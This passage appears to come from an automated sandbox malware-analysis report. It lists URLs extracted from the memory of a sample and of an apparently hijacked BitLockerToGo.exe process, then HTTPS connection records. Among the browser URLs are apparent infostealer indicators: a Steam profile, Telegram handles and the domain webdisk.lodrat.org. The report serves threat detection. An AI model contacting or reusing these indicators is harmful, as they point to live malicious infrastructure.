Source: chrome.exe, 0000000B.00000003.1715637633.0000009C00FC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://policies.google.com/
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: chrome.exe, 0000000B.00000003.1742474723.0000009C0144C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.gcp.privacysandboxservices.com
Source: chrome.exe, 0000000B.00000003.1742474723.0000009C0144C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com
Source: chrome.exe, 0000000B.00000003.1742474723.0000009C0144C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 0000000B.00000003.1742474723.0000009C0144C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com
Source: chrome.exe, 0000000B.00000003.1742474723.0000009C0144C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: chrome.exe, 0000000B.00000003.1742474723.0000009C0144C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.com2
Source: chrome.exe, 0000000B.00000003.1742474723.0000009C0144C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comJv
Source: chrome.exe, 0000000B.00000003.1742474723.0000009C0144C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comb
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://srtb.msn.com/
Source: chrome.exe, 0000000B.00000003.1732864087.0000009C002A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: chrome.exe, 0000000B.00000003.1734685865.0000009C012C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1734511999.0000009C01340000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1741148027.0000009C0135C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1733964962.0000009C01340000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1741858666.0000009C0141C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1741099077.0000009C01340000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/gb/images/bar/al-icon.png
Source: CYA75gigem.exe, 00000001.00000002.1592577669.000000000A340000.00000004.00001000.00020000.00000000.sdmp, CYA75gigem.exe, 00000001.00000002.1589538121.000000000A044000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, BitLockerToGo.exe, 00000009.00000002.2101492330.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199825403037
Source: BitLockerToGo.exe, 00000009.00000002.2101492330.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199825403037oomaino5Mozilla/5.0
Source: BitLockerToGo.exe, 00000009.00000002.2110494220.000000000576D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: BitLockerToGo.exe, 00000009.00000002.2110494220.000000000576D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: BitLockerToGo.exe, 00000009.00000003.1632368494.00000000028A0000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000002.2101868029.000000000289A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000003.1647208456.00000000028A0000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000003.1660632126.000000000289F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/)d
Source: BitLockerToGo.exe, 00000009.00000003.1632368494.00000000028A0000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000002.2101868029.000000000289A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000003.1647208456.00000000028A0000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000003.1660632126.000000000289F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/8d
Source: BitLockerToGo.exe, 00000009.00000003.1660632126.000000000289F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000003.1605382347.00000000028CA000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000003.1605382347.00000000028D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/b4cha00
Source: BitLockerToGo.exe, 00000009.00000003.1632368494.00000000028A0000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000003.1647208456.00000000028A0000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000003.1660632126.000000000289F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/b4cha00k
Source: BitLockerToGo.exe, 00000009.00000002.2101492330.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/b4cha00oomaino5Mozilla/5.0
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://tidal.com/
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://twitter.com/
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://vibe.naver.com/today
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: BitLockerToGo.exe, 00000009.00000003.1605192736.00000000028D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.org
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://web.telegram.org/
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://web.whatsapp.com
Source: BitLockerToGo.exe, 00000009.00000003.1673952082.00000000028CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://webdisk.lodr
Source: BitLockerToGo.exe, 00000009.00000003.1619179591.00000000028D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://webdisk.lodra
Source: BitLockerToGo.exe, 00000009.00000003.1619179591.00000000028D0000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000003.1605382347.00000000028D6000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000002.2105782432.000000000531B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://webdisk.lodrat.org
Source: BitLockerToGo.exe, 00000009.00000003.1804855035.0000000004F8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://webdisk.lodrat.org/
Source: BitLockerToGo.exe, 00000009.00000003.1660632126.00000000028C1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000002.2101868029.00000000028BE000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000003.1647170572.00000000028D0000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000003.1673952082.00000000028CE000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000003.1632317356.00000000028D5000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000003.1660700445.00000000028CE000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000003.1619240121.00000000028D4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000003.1619179591.00000000028D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://webdisk.lodrat.org/)
Source: BitLockerToGo.exe, 00000009.00000003.1647170572.00000000028D0000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000003.1660632126.000000000289F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://webdisk.lodrat.org/--
Source: BitLockerToGo.exe, 00000009.00000003.1660632126.00000000028C1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000003.1660700445.00000000028CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://webdisk.lodrat.org/0
Source: BitLockerToGo.exe, 00000009.00000003.1660700445.00000000028CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://webdisk.lodrat.org/Content-Disposition:
Source: BitLockerToGo.exe, 00000009.00000003.1647170572.00000000028D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://webdisk.lodrat.org/I;
Source: BitLockerToGo.exe, 00000009.00000003.1632317356.00000000028D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://webdisk.lodrat.org/Q
Source: BitLockerToGo.exe, 00000009.00000003.1673952082.00000000028CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://webdisk.lodrat.org/a;
Source: BitLockerToGo.exe, 00000009.00000003.1673952082.00000000028CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://webdisk.lodrat.org/i;
Source: BitLockerToGo.exe, 00000009.00000003.1647170572.00000000028D0000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000003.1632317356.00000000028D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://webdisk.lodrat.org/l
Source: BitLockerToGo.exe, 00000009.00000003.1673952082.00000000028CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://webdisk.lodrat.org/nt.documentE
Source: BitLockerToGo.exe, 00000009.00000003.1660632126.00000000028C1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000003.1647170572.00000000028D0000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000003.1632317356.00000000028D0000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000003.1660700445.00000000028CE000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000003.1619179591.00000000028D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://webdisk.lodrat.org/nt.documentElement&&document.documentElement.classList&&docu
Source: BitLockerToGo.exe, 00000009.00000003.1660632126.00000000028C1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000003.1647170572.00000000028D0000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000003.1660700445.00000000028CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://webdisk.lodrat.org/webdisk.lodrat.org
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: BitLockerToGo.exe, 00000009.00000002.2108827400.000000000556D000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000002.2104620414.0000000004FEA000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000002.2101868029.00000000028BE000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000002.2104620414.0000000004F8D000.00000004.00000020.00020000.00000000.sdmp, 3euk6x.9.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://www.deezer.com/
Source: BitLockerToGo.exe, 00000009.00000003.1804037779.0000000005005000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000002.2104620414.0000000005005000.00000004.00000020.00020000.00000000.sdmp, 8y58gl.9.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chrome.exe, 0000000B.00000003.1732864087.0000009C002A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com
Source: chrome.exe, 0000000B.00000003.1732864087.0000009C002A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: chrome.exe, 0000000B.00000003.1732864087.0000009C002A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: chrome.exe, 0000000B.00000003.1713149844.0000009C00C88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1709164390.0000009C00C78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: content.js.15.dr, content_new.js.15.dr	String found in binary or memory: https://www.google.com/chrome
Source: chrome.exe, 0000000B.00000003.1742474723.0000009C0144C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/go-mobile/?ios-campaign=desktop-chr-ntp&android-campaign=desktop-chr-n
Source: chrome.exe, 0000000B.00000003.1742474723.0000009C0144C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/hats/index.htmlb
Source: BitLockerToGo.exe, 00000009.00000002.2105782432.00000000052BF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000003.1804037779.0000000005005000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000002.2104620414.0000000005005000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr, ppp8y5.9.dr, 8y58gl.9.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 0000000B.00000003.1734685865.0000009C012C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1734511999.0000009C01340000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1741148027.0000009C0135C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1733964962.0000009C01340000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1741858666.0000009C0141C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1741099077.0000009C01340000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/imghp?hl=en&tab=ri&ogbl
Source: chrome.exe, 0000000B.00000003.1741099077.0000009C01340000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en/about/products?tab=rh
Source: chrome.exe, 0000000B.00000003.1742474723.0000009C0144C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: chrome.exe, 0000000B.00000003.1718586350.0000009C003A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=$
Source: chrome.exe, 0000000B.00000003.1732864087.0000009C002A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.comAccess-Control-Allow-Credentials:
Source: chrome.exe, 0000000B.00000003.1742474723.0000009C0144C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/aida2
Source: chrome.exe, 0000000B.00000003.1746545216.0000009C015C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746479661.0000009C015BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746756020.0000009C015CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1746629554.0000009C015C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager
Source: chrome.exe, 0000000B.00000003.1742474723.0000009C0144C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager2
Source: chrome.exe, 0000000B.00000003.1742474723.0000009C0144C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager23
Source: chrome.exe, 0000000B.00000003.1732864087.0000009C002A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: chrome.exe, 0000000B.00000003.1732864087.0000009C002A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: chromecache_434.13.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_434.13.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_434.13.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: chrome.exe, 0000000B.00000003.1741099077.0000009C01340000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/1x/broken_image_grey600_18dp.png
Source: chrome.exe, 0000000B.00000003.1741065656.0000009C00EE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1734511999.0000009C01340000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1741148027.0000009C0135C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1740781727.0000009C01384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1733964962.0000009C01340000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1741858666.0000009C0141C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1741099077.0000009C01340000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/2x/broken_image_grey600_18dp.png
Source: chrome.exe, 0000000B.00000003.1741099077.0000009C01340000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/js/k=og.qtm.en_US.Bvq7OK2_7ZA.2019.O/rt=j/m=q_dnp
Source: chrome.exe, 0000000B.00000003.1741099077.0000009C01340000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/ss/k=og.qtm.S4XVq7ljTQU.L.W.O/m=qmd
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://www.instagram.com
Source: BitLockerToGo.exe, 00000009.00000002.2108827400.000000000556D000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000002.2104620414.0000000004FEA000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000002.2101868029.00000000028BE000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000002.2104620414.0000000004F8D000.00000004.00000020.00020000.00000000.sdmp, 3euk6x.9.dr	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://www.last.fm/
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://www.messenger.com
Source: BitLockerToGo.exe, 00000009.00000002.2110494220.000000000576D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: BitLockerToGo.exe, 00000009.00000002.2110494220.000000000576D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: BitLockerToGo.exe, 00000009.00000002.2110494220.000000000576D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: BitLockerToGo.exe, 00000009.00000002.2110494220.000000000576D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: BitLockerToGo.exe, 00000009.00000002.2110494220.000000000576D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://www.office.com
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://www.tiktok.com/
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://www.youtube.com
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61201 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61224 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61199 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52421 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52444 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61224
Source: unknown	Network traffic detected: HTTP traffic on port 61279 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 61141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52404
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52432 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61084
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52402
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52403
Source: unknown	Network traffic detected: HTTP traffic on port 61267 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61230
Source: unknown	Network traffic detected: HTTP traffic on port 61291 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61199
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61113
Source: unknown	Network traffic detected: HTTP traffic on port 61274 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52417
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52418
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61094
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52419
Source: unknown	Network traffic detected: HTTP traffic on port 52410 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52410
Source: unknown	Network traffic detected: HTTP traffic on port 61264 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52418 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52411
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61248
Source: unknown	Network traffic detected: HTTP traffic on port 52389 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52381
Source: unknown	Network traffic detected: HTTP traffic on port 52404 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61246
Source: unknown	Network traffic detected: HTTP traffic on port 61145 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52398 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61260
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52420
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52388
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52421
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52424
Source: unknown	Network traffic detected: HTTP traffic on port 52381 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52425
Source: unknown	Network traffic detected: HTTP traffic on port 52438 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52389
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52422
Source: unknown	Network traffic detected: HTTP traffic on port 61269 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61286 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52423
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61259
Source: unknown	Network traffic detected: HTTP traffic on port 52424 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52395
Source: unknown	Network traffic detected: HTTP traffic on port 61213 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61230 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61130
Source: unknown	Network traffic detected: HTTP traffic on port 52395 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61252
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61257
Source: unknown	Network traffic detected: HTTP traffic on port 61297 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61272 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52438
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61270
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61272
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52398
Source: unknown	Network traffic detected: HTTP traffic on port 61266 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52432
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52436
Source: unknown	Network traffic detected: HTTP traffic on port 52425 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52402 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61141
Source: unknown	Network traffic detected: HTTP traffic on port 61252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61264
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61145
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61266
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61267
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61268
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61269
Source: unknown	Network traffic detected: HTTP traffic on port 52436 -> 443
